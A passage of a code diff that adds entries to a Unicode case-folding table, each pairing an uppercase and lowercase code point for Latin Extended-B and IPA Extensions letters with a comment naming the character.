+ ["\u0190", "\u025B"], /* LATIN CAPITAL LETTER OPEN E (LATIN CAPITAL LETTER EPSILON) */
+ ["\u0191", "\u0192"], /* LATIN CAPITAL LETTER F WITH HOOK (LATIN CAPITAL LETTER F HOOK) */
+ ["\u0191", "\u0192"], /* LATIN SMALL LETTER F WITH HOOK (LATIN SMALL LETTER SCRIPT F) */
+ ["\u0193", "\u0260"], /* LATIN CAPITAL LETTER G WITH HOOK (LATIN CAPITAL LETTER G HOOK) */
+ ["\u0194", "\u0263"], /* LATIN CAPITAL LETTER GAMMA */
+ ["\u01F6", "\u0195"], /* LATIN SMALL LETTER HV (LATIN SMALL LETTER H V) */
+ ["\u0196", "\u0269"], /* LATIN CAPITAL LETTER IOTA */
+ ["\u0197", "\u0268"], /* LATIN CAPITAL LETTER I WITH STROKE (LATIN CAPITAL LETTER BARRED I) */
+ ["\u0198", "\u0199"], /* LATIN CAPITAL LETTER K WITH HOOK (LATIN CAPITAL LETTER K HOOK) */
+ ["\u0198", "\u0199"], /* LATIN SMALL LETTER K WITH HOOK (LATIN SMALL LETTER K HOOK) */
+ ["\u023D", "\u019A"], /* LATIN SMALL LETTER L WITH BAR (LATIN SMALL LETTER BARRED L) */
+ ["\u019B", "\u019B"], /* LATIN SMALL LETTER LAMBDA WITH STROKE (LATIN SMALL LETTER BARRED LAMBDA) */
+ ["\u019C", "\u026F"], /* LATIN CAPITAL LETTER TURNED M */
+ ["\u019D", "\u0272"], /* LATIN CAPITAL LETTER N WITH LEFT HOOK (LATIN CAPITAL LETTER N HOOK) */
+ ["\u0220", "\u019E"], /* LATIN SMALL LETTER N WITH LONG RIGHT LEG */
+ ["\u019F", "\u0275"], /* LATIN CAPITAL LETTER O WITH MIDDLE TILDE (LATIN CAPITAL LETTER BARRED O) */
+ ["\u01A0", "\u01A1"], /* LATIN CAPITAL LETTER O WITH HORN (LATIN CAPITAL LETTER O HORN) */
+ ["\u01A0", "\u01A1"], /* LATIN SMALL LETTER O WITH HORN (LATIN SMALL LETTER O HORN) */
+ ["\u01A2", "\u01A3"], /* LATIN CAPITAL LETTER OI (LATIN CAPITAL LETTER O I) */
+ ["\u01A2", "\u01A3"], /* LATIN SMALL LETTER OI (LATIN SMALL LETTER O I) */
+ ["\u01A4", "\u01A5"], /* LATIN CAPITAL LETTER P WITH HOOK (LATIN CAPITAL LETTER P HOOK) */
+ ["\u01A4", "\u01A5"], /* LATIN SMALL LETTER P WITH HOOK (LATIN SMALL LETTER P HOOK) */
+ ["\u01A6", "\u0280"], /* LATIN LETTER YR (LATIN LETTER Y R) */
+ ["\u01A7", "\u01A8"], /* LATIN CAPITAL LETTER TONE TWO */
+ ["\u01A7", "\u01A8"], /* LATIN SMALL LETTER TONE TWO */
+ ["\u01A9", "\u0283"], /* LATIN CAPITAL LETTER ESH */
+ ["\u01AA", "\u01AA"], /* LATIN LETTER REVERSED ESH LOOP */
+ ["\u01AB", "\u01AB"], /* LATIN SMALL LETTER T WITH PALATAL HOOK (LATIN SMALL LETTER T PALATAL HOOK) */
+ ["\u01AC", "\u01AD"], /* LATIN CAPITAL LETTER T WITH HOOK (LATIN CAPITAL LETTER T HOOK) */
+ ["\u01AC", "\u01AD"], /* LATIN SMALL LETTER T WITH HOOK (LATIN SMALL LETTER T HOOK) */
+ ["\u01AE", "\u0288"], /* LATIN CAPITAL LETTER T WITH RETROFLEX HOOK (LATIN CAPITAL LETTER T RETROFLEX HOOK) */
+ ["\u01AF", "\u01B0"], /* LATIN CAPITAL LETTER U WITH HORN (LATIN CAPITAL LETTER U HORN) */
+ ["\u01AF", "\u01B0"], /* LATIN SMALL LETTER U WITH HORN (LATIN SMALL LETTER U HORN) */
+ ["\u01B1", "\u028A"], /* LATIN CAPITAL LETTER UPSILON */
+ ["\u01B2", "\u028B"], /* LATIN CAPITAL LETTER V WITH HOOK (LATIN CAPITAL LETTER SCRIPT V) */
+ ["\u01B3", "\u01B4"], /* LATIN CAPITAL LETTER Y WITH HOOK (LATIN CAPITAL LETTER Y HOOK) */
+ ["\u01B3", "\u01B4"], /* LATIN SMALL LETTER Y WITH HOOK (LATIN SMALL LETTER Y HOOK) */
+ ["\u01B5", "\u01B6"], /* LATIN CAPITAL LETTER Z WITH STROKE (LATIN CAPITAL LETTER Z BAR) */
+ ["\u01B5", "\u01B6"], /* LATIN SMALL LETTER Z WITH STROKE (LATIN SMALL LETTER Z BAR) */
+ ["\u01B7", "\u0292"], /* LATIN CAPITAL LETTER EZH (LATIN CAPITAL LETTER YOGH) */
+ ["\u01B8", "\u01B9"], /* LATIN CAPITAL LETTER EZH REVERSED (LATIN CAPITAL LETTER REVERSED YOGH) */
+ ["\u01B8", "\u01B9"], /* LATIN SMALL LETTER EZH REVERSED (LATIN SMALL LETTER REVERSED YOGH) */
+ ["\u01BA", "\u01BA"], /* LATIN SMALL LETTER EZH WITH TAIL (LATIN SMALL LETTER YOGH WITH TAIL) */
+ ["\u01BB", "\u01BB"], /* LATIN LETTER TWO WITH STROKE (LATIN LETTER TWO BAR) */
+ ["\u01BC", "\u01BD"], /* LATIN CAPITAL LETTER TONE FIVE */
+ ["\u01BC", "\u01BD"], /* LATIN SMALL LETTER TONE FIVE */
+ ["\u01BE", "\u01BE"], /* LATIN LETTER INVERTED GLOTTAL STOP WITH STROKE (LATIN LETTER INVERTED GLOTTAL STOP BAR) */
+ ["\u01F7", "\u01BF"], /* LATIN LETTER WYNN */
+ ["\u01C0", "\u01C0"], /* LATIN LETTER DENTAL CLICK (LATIN LETTER PIPE) */
+ ["\u01C1", "\u01C1"], /* LATIN LETTER LATERAL CLICK (LATIN LETTER DOUBLE PIPE) */
+ ["\u01C2", "\u01C2"], /* LATIN LETTER ALVEOLAR CLICK (LATIN LETTER PIPE DOUBLE BAR) */
+ ["\u01C3", "\u01C3"], /* LATIN LETTER RETROFLEX CLICK (LATIN LETTER EXCLAMATION MARK) */
+ ["\u01C4", "\u01C6"], /* LATIN CAPITAL LETTER DZ WITH CARON (LATIN CAPITAL LETTER D Z HACEK) */
+ ["\u01C4", "\u01C6"], /* LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON (LATIN LETTER CAPITAL D SMALL Z HACEK) */
+ ["\u01C4", "\u01C6"], /* LATIN SMALL LETTER DZ WITH CARON (LATIN SMALL LETTER D Z HACEK) */
+ ["\u01C7", "\u01C9"], /* LATIN CAPITAL LETTER LJ (LATIN CAPITAL LETTER L J) */
+ ["\u01C7", "\u01C9"], /* LATIN CAPITAL LETTER L WITH SMALL LETTER J (LATIN LETTER CAPITAL L SMALL J) */
+ ["\u01C7", "\u01C9"], /* LATIN SMALL LETTER LJ (LATIN SMALL LETTER L J) */
+ ["\u01CA", "\u01CC"], /* LATIN CAPITAL LETTER NJ (LATIN CAPITAL LETTER N J) */
+ ["\u01CA", "\u01CC"], /* LATIN CAPITAL LETTER N WITH SMALL LETTER J (LATIN LETTER CAPITAL N SMALL J) */
+ ["\u01CA", "\u01CC"], /* LATIN SMALL LETTER NJ (LATIN SMALL LETTER N J) */
+ ["\u01CD", "\u01CE"], /* LATIN CAPITAL LETTER A WITH CARON (LATIN CAPITAL LETTER A HACEK) */
+ ["\u01CD", "\u01CE"], /* LATIN SMALL LETTER A WITH CARON (LATIN SMALL LETTER A HACEK) */
+ ["\u01CF", "\u01D0"], /* LATIN CAPITAL LETTER I WITH CARON (LATIN CAPITAL LETTER I HACEK) */
+ ["\u01CF", "\u01D0"], /* LATIN SMALL LETTER I WITH CARON (LATIN SMALL LETTER I HACEK) */
+ ["\u01D1", "\u01D2"], /* LATIN CAPITAL LETTER O WITH CARON (LATIN CAPITAL LETTER O HACEK) */
+ ["\u01D1", "\u01D2"], /* LATIN SMALL LETTER O WITH CARON (LATIN SMALL LETTER O HACEK) */
+ ["\u01D3", "\u01D4"], /* LATIN CAPITAL LETTER U WITH CARON (LATIN CAPITAL LETTER U HACEK) */
+ ["\u01D3", "\u01D4"], /* LATIN SMALL LETTER U WITH CARON (LATIN SMALL LETTER U HACEK) */
+ ["\u01D5", "\u01D6"], /* LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON (LATIN CAPITAL LETTER U DIAERESIS MACRON) */
+ ["\u01D5", "\u01D6"], /* LATIN SMALL LETTER U WITH DIAERESIS AND MACRON (LATIN SMALL LETTER U DIAERESIS MACRON) */
+ ["\u01D7", "\u01D8"], /* LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE (LATIN CAPITAL LETTER U DIAERESIS ACUTE) */
+ ["\u01D7", "\u01D8"], /* LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE (LATIN SMALL LETTER U DIAERESIS ACUTE) */
+ ["\u01D9", "\u01DA"], /* LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON (LATIN CAPITAL LETTER U DIAERESIS HACEK) */
+ ["\u01D9", "\u01DA"], /* LATIN SMALL LETTER U WITH DIAERESIS AND CARON (LATIN SMALL LETTER U DIAERESIS HACEK) */
+ ["\u01DB", "\u01DC"], /* LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE (LATIN CAPITAL LETTER U DIAERESIS GRAVE) */
+ ["\u01DB", "\u01DC"], /* LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE (LATIN SMALL LETTER U DIAERESIS GRAVE) */
+ ["\u018E", "\u01DD"], /* LATIN SMALL LETTER TURNED E */
+ ["\u01DE", "\u01DF"], /* LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON (LATIN CAPITAL LETTER A DIAERESIS MACRON) */
+ ["\u01DE", "\u01DF"], /* LATIN SMALL LETTER A WITH DIAERESIS AND MACRON (LATIN SMALL LETTER A DIAERESIS MACRON) */
+ ["\u01E0", "\u01E1"], /* LATIN CAPITAL LETTER A WITH DOT ABOVE AND MACRON (LATIN CAPITAL LETTER A DOT MACRON) */
+ ["\u01E0", "\u01E1"], /* LATIN SMALL LETTER A WITH DOT ABOVE AND MACRON (LATIN SMALL LETTER A DOT MACRON) */
+ ["\u01E2", "\u01E3"], /* LATIN CAPITAL LETTER AE WITH MACRON (LATIN CAPITAL LETTER A E MACRON) */
+ ["\u01E2", "\u01E3"], /* LATIN SMALL LETTER AE WITH MACRON (LATIN SMALL LETTER A E MACRON) */
+ ["\u01E4", "\u01E5"], /* LATIN CAPITAL LETTER G WITH STROKE (LATIN CAPITAL LETTER G BAR) */
+ ["\u01E4", "\u01E5"], /* LATIN SMALL LETTER G WITH STROKE (LATIN SMALL LETTER G BAR) */
+ ["\u01E6", "\u01E7"], /* LATIN CAPITAL LETTER G WITH CARON (LATIN CAPITAL LETTER G HACEK) */
+ ["\u01E6", "\u01E7"], /* LATIN SMALL LETTER G WITH CARON (LATIN SMALL LETTER G HACEK) */
+ ["\u01E8", "\u01E9"], /* LATIN CAPITAL LETTER K WITH CARON (LATIN CAPITAL LETTER K HACEK) */
+ ["\u01E8", "\u01E9"], /* LATIN SMALL LETTER K WITH CARON (LATIN SMALL LETTER K HACEK) */
+ ["\u01EA", "\u01EB"], /* LATIN CAPITAL LETTER O WITH OGONEK (LATIN CAPITAL LETTER O OGONEK) */
+ ["\u01EA", "\u01EB"], /* LATIN SMALL LETTER O WITH OGONEK (LATIN SMALL LETTER O OGONEK) */
+ ["\u01EC", "\u01ED"], /* LATIN CAPITAL LETTER O WITH OGONEK AND MACRON (LATIN CAPITAL LETTER O OGONEK MACRON) */
+ ["\u01EC", "\u01ED"], /* LATIN SMALL LETTER O WITH OGONEK AND MACRON (LATIN SMALL LETTER O OGONEK MACRON) */
+ ["\u01EE", "\u01EF"], /* LATIN CAPITAL LETTER EZH WITH CARON (LATIN CAPITAL LETTER YOGH HACEK) */
+ ["\u01EE", "\u01EF"], /* LATIN SMALL LETTER EZH WITH CARON (LATIN SMALL LETTER YOGH HACEK) */
+ ["\u004A\u030C", "\u01F0"], /* LATIN SMALL LETTER J WITH CARON (LATIN SMALL LETTER J HACEK) */
+ ["\u01F1", "\u01F3"], /* LATIN CAPITAL LETTER DZ */
+ ["\u01F1", "\u01F3"], /* LATIN CAPITAL LETTER D WITH SMALL LETTER Z */
+ ["\u01F1", "\u01F3"], /* LATIN SMALL LETTER DZ */
+ ["\u01F4", "\u01F5"], /* LATIN CAPITAL LETTER G WITH ACUTE */
+ ["\u01F4", "\u01F5"], /* LATIN SMALL LETTER G WITH ACUTE */
+ ["\u01F6", "\u0195"], /* LATIN CAPITAL LETTER HWAIR */
+ ["\u01F7", "\u01BF"], /* LATIN CAPITAL LETTER WYNN */
+ ["\u01F8", "\u01F9"], /* LATIN CAPITAL LETTER N WITH GRAVE */
+ ["\u01F8", "\u01F9"], /* LATIN SMALL LETTER N WITH GRAVE */
+ ["\u01FA", "\u01FB"], /* LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE */
+ ["\u01FA", "\u01FB"], /* LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE */
+ ["\u01FC", "\u01FD"], /* LATIN CAPITAL LETTER AE WITH ACUTE */
+ ["\u01FC", "\u01FD"], /* LATIN SMALL LETTER AE WITH ACUTE */
+ ["\u01FE", "\u01FF"], /* LATIN CAPITAL LETTER O WITH STROKE AND ACUTE */
+ ["\u01FE", "\u01FF"], /* LATIN SMALL LETTER O WITH STROKE AND ACUTE */
+ ["\u0200", "\u0201"], /* LATIN CAPITAL LETTER A WITH DOUBLE GRAVE */
+ ["\u0200", "\u0201"], /* LATIN SMALL LETTER A WITH DOUBLE GRAVE */
+ ["\u0202", "\u0203"], /* LATIN CAPITAL LETTER A WITH INVERTED BREVE */
+ ["\u0202", "\u0203"], /* LATIN SMALL LETTER A WITH INVERTED BREVE */
+ ["\u0204", "\u0205"], /* LATIN CAPITAL LETTER E WITH DOUBLE GRAVE */
+ ["\u0204", "\u0205"], /* LATIN SMALL LETTER E WITH DOUBLE GRAVE */
+ ["\u0206", "\u0207"], /* LATIN CAPITAL LETTER E WITH INVERTED BREVE */
+ ["\u0206", "\u0207"], /* LATIN SMALL LETTER E WITH INVERTED BREVE */
+ ["\u0208", "\u0209"], /* LATIN CAPITAL LETTER I WITH DOUBLE GRAVE */
+ ["\u0208", "\u0209"], /* LATIN SMALL LETTER I WITH DOUBLE GRAVE */
+ ["\u020A", "\u020B"], /* LATIN CAPITAL LETTER I WITH INVERTED BREVE */
+ ["\u020A", "\u020B"], /* LATIN SMALL LETTER I WITH INVERTED BREVE */
+ ["\u020C", "\u020D"], /* LATIN CAPITAL LETTER O WITH DOUBLE GRAVE */
+ ["\u020C", "\u020D"], /* LATIN SMALL LETTER O WITH DOUBLE GRAVE */
+ ["\u020E", "\u020F"], /* LATIN CAPITAL LETTER O WITH INVERTED BREVE */
+ ["\u020E", "\u020F"], /* LATIN SMALL LETTER O WITH INVERTED BREVE */
+ ["\u0210", "\u0211"], /* LATIN CAPITAL LETTER R WITH DOUBLE GRAVE */
+ ["\u0210", "\u0211"], /* LATIN SMALL LETTER R WITH DOUBLE GRAVE */
+ ["\u0212", "\u0213"], /* LATIN CAPITAL LETTER R WITH INVERTED BREVE */
+ ["\u0212", "\u0213"], /* LATIN SMALL LETTER R WITH INVERTED BREVE */
+ ["\u0214", "\u0215"], /* LATIN CAPITAL LETTER U WITH DOUBLE GRAVE */
+ ["\u0214", "\u0215"], /* LATIN SMALL LETTER U WITH DOUBLE GRAVE */
+ ["\u0216", "\u0217"], /* LATIN CAPITAL LETTER U WITH INVERTED BREVE */
+ ["\u0216", "\u0217"], /* LATIN SMALL LETTER U WITH INVERTED BREVE */
+ ["\u0218", "\u0219"], /* LATIN CAPITAL LETTER S WITH COMMA BELOW */
+ ["\u0218", "\u0219"], /* LATIN SMALL LETTER S WITH COMMA BELOW */
+ ["\u021A", "\u021B"], /* LATIN CAPITAL LETTER T WITH COMMA BELOW */
+ ["\u021A", "\u021B"], /* LATIN SMALL LETTER T WITH COMMA BELOW */
+ ["\u021C", "\u021D"], /* LATIN CAPITAL LETTER YOGH */
+ ["\u021C", "\u021D"], /* LATIN SMALL LETTER YOGH */
+ ["\u021E", "\u021F"], /* LATIN CAPITAL LETTER H WITH CARON */
+ ["\u021E", "\u021F"], /* LATIN SMALL LETTER H WITH CARON */
+ ["\u0220", "\u019E"], /* LATIN CAPITAL LETTER N WITH LONG RIGHT LEG */
+ ["\u0221", "\u0221"], /* LATIN SMALL LETTER D WITH CURL */
+ ["\u0222", "\u0223"], /* LATIN CAPITAL LETTER OU */
+ ["\u0222", "\u0223"], /* LATIN SMALL LETTER OU */
+ ["\u0224", "\u0225"], /* LATIN CAPITAL LETTER Z WITH HOOK */
+ ["\u0224", "\u0225"], /* LATIN SMALL LETTER Z WITH HOOK */
+ ["\u0226", "\u0227"], /* LATIN CAPITAL LETTER A WITH DOT ABOVE */
+ ["\u0226", "\u0227"], /* LATIN SMALL LETTER A WITH DOT ABOVE */
+ ["\u0228", "\u0229"], /* LATIN CAPITAL LETTER E WITH CEDILLA */
+ ["\u0228", "\u0229"], /* LATIN SMALL LETTER E WITH CEDILLA */
+ ["\u022A", "\u022B"], /* LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON */
+ ["\u022A", "\u022B"], /* LATIN SMALL LETTER O WITH DIAERESIS AND MACRON */
+ ["\u022C", "\u022D"], /* LATIN CAPITAL LETTER O WITH TILDE AND MACRON */
+ ["\u022C", "\u022D"], /* LATIN SMALL LETTER O WITH TILDE AND MACRON */
+ ["\u022E", "\u022F"], /* LATIN CAPITAL LETTER O WITH DOT ABOVE */
+ ["\u022E", "\u022F"], /* LATIN SMALL LETTER O WITH DOT ABOVE */
+ ["\u0230", "\u0231"], /* LATIN CAPITAL LETTER O WITH DOT ABOVE AND MACRON */
+ ["\u0230", "\u0231"], /* LATIN SMALL LETTER O WITH DOT ABOVE AND MACRON */
+ ["\u0232", "\u0233"], /* LATIN CAPITAL LETTER Y WITH MACRON */
+ ["\u0232", "\u0233"], /* LATIN SMALL LETTER Y WITH MACRON */
+ ["\u0234", "\u0234"], /* LATIN SMALL LETTER L WITH CURL */
+ ["\u0235", "\u0235"], /* LATIN SMALL LETTER N WITH CURL */
+ ["\u0236", "\u0236"], /* LATIN SMALL LETTER T WITH CURL */
+ ["\u0237", "\u0237"], /* LATIN SMALL LETTER DOTLESS J */
+ ["\u0238", "\u0238"], /* LATIN SMALL LETTER DB DIGRAPH */
+ ["\u0239", "\u0239"], /* LATIN SMALL LETTER QP DIGRAPH */
+ ["\u023A", "\u2C65"], /* LATIN CAPITAL LETTER A WITH STROKE */
+ ["\u023B", "\u023C"], /* LATIN CAPITAL LETTER C WITH STROKE */
+ ["\u023B", "\u023C"], /* LATIN SMALL LETTER C WITH STROKE */
+ ["\u023D", "\u019A"], /* LATIN CAPITAL LETTER L WITH BAR */
+ ["\u023E", "\u2C66"], /* LATIN CAPITAL LETTER T WITH DIAGONAL STROKE */
+ ["\u2C7E", "\u023F"], /* LATIN SMALL LETTER S WITH SWASH TAIL */
+ ["\u2C7F", "\u0240"], /* LATIN SMALL LETTER Z WITH SWASH TAIL */
+ ["\u0241", "\u0242"], /* LATIN CAPITAL LETTER GLOTTAL STOP */
+ ["\u0241", "\u0242"], /* LATIN SMALL LETTER GLOTTAL STOP */
+ ["\u0243", "\u0180"], /* LATIN CAPITAL LETTER B WITH STROKE */
+ ["\u0244", "\u0289"], /* LATIN CAPITAL LETTER U BAR */
+ ["\u0245", "\u028C"], /* LATIN CAPITAL LETTER TURNED V */
+ ["\u0246", "\u0247"], /* LATIN CAPITAL LETTER E WITH STROKE */
+ ["\u0246", "\u0247"], /* LATIN SMALL LETTER E WITH STROKE */
+ ["\u0248", "\u0249"], /* LATIN CAPITAL LETTER J WITH STROKE */
+ ["\u0248", "\u0249"], /* LATIN SMALL LETTER J WITH STROKE */
+ ["\u024A", "\u024B"], /* LATIN CAPITAL LETTER SMALL Q WITH HOOK TAIL */
+ ["\u024A", "\u024B"], /* LATIN SMALL LETTER Q WITH HOOK TAIL */
+ ["\u024C", "\u024D"], /* LATIN CAPITAL LETTER R WITH STROKE */
+ ["\u024C", "\u024D"], /* LATIN SMALL LETTER R WITH STROKE */
+ ["\u024E", "\u024F"], /* LATIN CAPITAL LETTER Y WITH STROKE */
+ ["\u024E", "\u024F"], /* LATIN SMALL LETTER Y WITH STROKE */
+ ["\u2C6F", "\u0250"], /* LATIN SMALL LETTER TURNED A */
+ ["\u2C6D", "\u0251"], /* LATIN SMALL LETTER ALPHA (LATIN SMALL LETTER SCRIPT A) */
+ ["\u2C70", "\u0252"], /* LATIN SMALL LETTER TURNED ALPHA (LATIN SMALL LETTER TURNED SCRIPT A) */
+ ["\u0181", "\u0253"], /* LATIN SMALL LETTER B WITH HOOK (LATIN SMALL LETTER B HOOK) */
+ ["\u0186", "\u0254"], /* LATIN SMALL LETTER OPEN O */
+ ["\u0255", "\u0255"], /* LATIN SMALL LETTER C WITH CURL (LATIN SMALL LETTER C CURL) */
+ ["\u0189", "\u0256"], /* LATIN SMALL LETTER D WITH TAIL (LATIN SMALL LETTER D RETROFLEX HOOK) */
+ ["\u018A", "\u0257"], /* LATIN SMALL LETTER D WITH HOOK (LATIN SMALL LETTER D HOOK) */
+ ["\u0258", "\u0258"], /* LATIN SMALL LETTER REVERSED E */
+ ["\u018F", "\u0259"], /* LATIN SMALL LETTER SCHWA */
+ ["\u025A", "\u025A"], /* LATIN SMALL LETTER SCHWA WITH HOOK (LATIN SMALL LETTER SCHWA HOOK) */
+ ["\u0190", "\u025B"], /* LATIN SMALL LETTER OPEN E (LATIN SMALL LETTER EPSILON) */
+ ["\uA7AB", "\u025C"], /* LATIN SMALL LETTER REVERSED OPEN E (LATIN SMALL LETTER REVERSED EPSILON) */
+ ["\u025D", "\u025D"], /* LATIN SMALL LETTER REVERSED OPEN E WITH HOOK (LATIN SMALL LETTER REVERSED EPSILON HOOK) */
+ ["\u025E", "\u025E"], /* LATIN SMALL LETTER CLOSED REVERSED OPEN E (LATIN SMALL LETTER CLOSED REVERSED EPSILON) */
+ ["\u025F", "\u025F"], /* LATIN SMALL LETTER DOTLESS J WITH STROKE (LATIN SMALL LETTER DOTLESS J BAR) */
+ ["\u0193", "\u0260"], /* LATIN SMALL LETTER G WITH HOOK (LATIN SMALL LETTER G HOOK) */
+ ["\uA7AC", "\u0261"], /* LATIN SMALL LETTER SCRIPT G */
+ ["\u0262", "\u0262"], /* LATIN LETTER SMALL CAPITAL G */
+ ["\u0194", "\u0263"], /* LATIN SMALL LETTER GAMMA */
+ ["\u0264", "\u0264"], /* LATIN SMALL LETTER RAMS HORN (LATIN SMALL LETTER BABY GAMMA) */
+ ["\uA78D", "\u0265"], /* LATIN SMALL LETTER TURNED H */
+ ["\uA7AA", "\u0266"], /* LATIN SMALL LETTER H WITH HOOK (LATIN SMALL LETTER H HOOK) */
+ ["\u0267", "\u0267"], /* LATIN SMALL LETTER HENG WITH HOOK (LATIN SMALL LETTER HENG HOOK) */
+ ["\u0197", "\u0268"], /* LATIN SMALL LETTER I WITH STROKE (LATIN SMALL LETTER BARRED I) */
+ ["\u0196", "\u0269"], /* LATIN SMALL LETTER IOTA */
+ ["\uA7AE", "\u026A"], /* LATIN LETTER SMALL CAPITAL I */
+ ["\u2C62", "\u026B"], /* LATIN SMALL LETTER L WITH MIDDLE TILDE */
+ ["\uA7AD", "\u026C"], /* LATIN SMALL LETTER L WITH BELT (LATIN SMALL LETTER L BELT) */
+ ["\u026D", "\u026D"], /* LATIN SMALL LETTER L WITH RETROFLEX HOOK (LATIN SMALL LETTER L RETROFLEX HOOK) */
+ ["\u026E", "\u026E"], /* LATIN SMALL LETTER LEZH (LATIN SMALL LETTER L YOGH) */
+ ["\u019C", "\u026F"], /* LATIN SMALL LETTER TURNED M */
+ ["\u0270", "\u0270"], /* LATIN SMALL LETTER TURNED M WITH LONG LEG */
+ ["\u2C6E", "\u0271"], /* LATIN SMALL LETTER M WITH HOOK (LATIN SMALL LETTER M HOOK) */
+ ["\u019D", "\u0272"], /* LATIN SMALL LETTER N WITH LEFT HOOK (LATIN SMALL LETTER N HOOK) */
+ ["\u0273", "\u0273"], /* LATIN SMALL LETTER N WITH RETROFLEX HOOK (LATIN SMALL LETTER N RETROFLEX HOOK) */
+ ["\u0274", "\u0274"], /* LATIN LETTER SMALL CAPITAL N */
+ ["\u019F", "\u0275"], /* LATIN SMALL LETTER BARRED O */
+ ["\u0276", "\u0276"], /* LATIN LETTER SMALL CAPITAL OE (LATIN LETTER SMALL CAPITAL O E) */
+ ["\u0277", "\u0277"], /* LATIN SMALL LETTER CLOSED OMEGA */
+ ["\u0278", "\u0278"], /* LATIN SMALL LETTER PHI */
+ ["\u0279", "\u0279"], /* LATIN SMALL LETTER TURNED R */
+ ["\u027A", "\u027A"], /* LATIN SMALL LETTER TURNED R WITH LONG LEG */
+ ["\u027B", "\u027B"], /* LATIN SMALL LETTER TURNED R WITH HOOK (LATIN SMALL LETTER TURNED R HOOK) */
+ ["\u027C", "\u027C"], /* LATIN SMALL LETTER R WITH LONG LEG */
+ ["\u2C64", "\u027D"], /* LATIN SMALL LETTER R WITH TAIL (LATIN SMALL LETTER R HOOK) */
+ ["\u027E", "\u027E"], /* LATIN SMALL LETTER R WITH FISHHOOK (LATIN SMALL LETTER FISHHOOK R) */
+ ["\u027F", "\u027F"], /* LATIN SMALL LETTER REVERSED R WITH FISHHOOK (LATIN SMALL LETTER REVERSED FISHHOOK R) */
+ ["\u01A6", "\u0280"], /* LATIN LETTER SMALL CAPITAL R */
+ ["\u0281", "\u0281"], /* LATIN LETTER SMALL CAPITAL INVERTED R */
+ ["\uA7C5", "\u0282"], /* LATIN SMALL LETTER S WITH HOOK (LATIN SMALL LETTER S HOOK) */
+ ["\u01A9", "\u0283"], /* LATIN SMALL LETTER ESH */
+ ["\u0284", "\u0284"], /* LATIN SMALL LETTER DOTLESS J WITH STROKE AND HOOK (LATIN SMALL LETTER DOTLESS J BAR HOOK) */
+ ["\u0285", "\u0285"], /* LATIN SMALL LETTER SQUAT REVERSED ESH */
+ ["\u0286", "\u0286"], /* LATIN SMALL LETTER ESH WITH CURL (LATIN SMALL LETTER ESH CURL) */
+ ["\uA7B1", "\u0287"], /* LATIN SMALL LETTER TURNED T */
+ ["\u01AE", "\u0288"], /* LATIN SMALL LETTER T WITH RETROFLEX HOOK (LATIN SMALL LETTER T RETROFLEX HOOK) */
+ ["\u0244", "\u0289"], /* LATIN SMALL LETTER U BAR */
+ ["\u01B1", "\u028A"], /* LATIN SMALL LETTER UPSILON */
+ ["\u01B2", "\u028B"], /* LATIN SMALL LETTER V WITH HOOK (LATIN SMALL LETTER SCRIPT V) */
+ ["\u0245", "\u028C"], /* LATIN SMALL LETTER TURNED V */
+ ["\u028D", "\u028D"], /* LATIN SMALL LETTER TURNED W */
+ ["\u028E", "\u028E"], /* LATIN SMALL LETTER TURNED Y */
+ ["\u028F", "\u028F"], /* LATIN LETTER SMALL CAPITAL Y */
+ ["\u0290", "\u0290"], /* LATIN SMALL LETTER Z WITH RETROFLEX HOOK (LATIN SMALL LETTER Z RETROFLEX HOOK) */
+ ["\u0291", "\u0291"], /* LATIN SMALL LETTER Z WITH CURL (LATIN SMALL LETTER Z CURL) */
+ ["\u01B7", "\u0292"], /* LATIN SMALL LETTER EZH (LATIN SMALL LETTER YOGH) */
+ ["\u0293", "\u0293"], /* LATIN SMALL LETTER EZH WITH CURL (LATIN SMALL LETTER YOGH CURL) */
+ ["\u0294", "\u0294"], /* LATIN LETTER GLOTTAL STOP */
+ ["\u0295", "\u0295"], /* LATIN LETTER PHARYNGEAL VOICED FRICATIVE (LATIN LETTER REVERSED GLOTTAL STOP) */
+ ["\u0296", "\u0296"], /* LATIN LETTER INVERTED GLOTTAL STOP */
+ ["\u0297", "\u0297"], /* LATIN LETTER STRETCHED C */
+ ["\u0298", "\u0298"], /* LATIN LETTER BILABIAL CLICK (LATIN LETTER BULLSEYE) */
+ ["\u0299", "\u0299"], /* LATIN LETTER SMALL CAPITAL B */
+ ["\u029A", "\u029A"], /* LATIN SMALL LETTER CLOSED OPEN E (LATIN SMALL LETTER CLOSED EPSILON) */
+ ["\u029B", "\u029B"], /* LATIN LETTER SMALL CAPITAL G WITH HOOK (LATIN LETTER SMALL CAPITAL G HOOK) */
+ ["\u029C", "\u029C"], /* LATIN LETTER SMALL CAPITAL H */
+ ["\uA7B2", "\u029D"], /* LATIN SMALL LETTER J WITH CROSSED-TAIL (LATIN SMALL LETTER CROSSED-TAIL J) */
+ ["\uA7B0", "\u029E"], /* LATIN SMALL LETTER TURNED K */
+ ["\u029F", "\u029F"], /* LATIN LETTER SMALL CAPITAL L */
+ ["\u02A0", "\u02A0"], /* LATIN SMALL LETTER Q WITH HOOK (LATIN SMALL LETTER Q HOOK) */
+ ["\u02A1", "\u02A1"], /* LATIN LETTER GLOTTAL STOP WITH STROKE (LATIN LETTER GLOTTAL STOP BAR) */
+ ["\u02A2", "\u02A2"], /* LATIN LETTER REVERSED GLOTTAL STOP WITH STROKE (LATIN LETTER REVERSED GLOTTAL STOP BAR) */
+ ["\u02A3", "\u02A3"], /* LATIN SMALL LETTER DZ DIGRAPH (LATIN SMALL LETTER D Z) */
+ ["\u02A4", "\u02A4"], /* LATIN SMALL LETTER DEZH DIGRAPH (LATIN SMALL LETTER D YOGH) */
+ ["\u02A5", "\u02A5"], /* LATIN SMALL LETTER DZ DIGRAPH WITH CURL (LATIN SMALL LETTER D Z CURL) */
+ ["\u02A6", "\u02A6"], /* LATIN SMALL LETTER TS DIGRAPH (LATIN SMALL LETTER T S) */
+ ["\u02A7", "\u02A7"], /* LATIN SMALL LETTER TESH DIGRAPH (LATIN SMALL LETTER T ESH) */
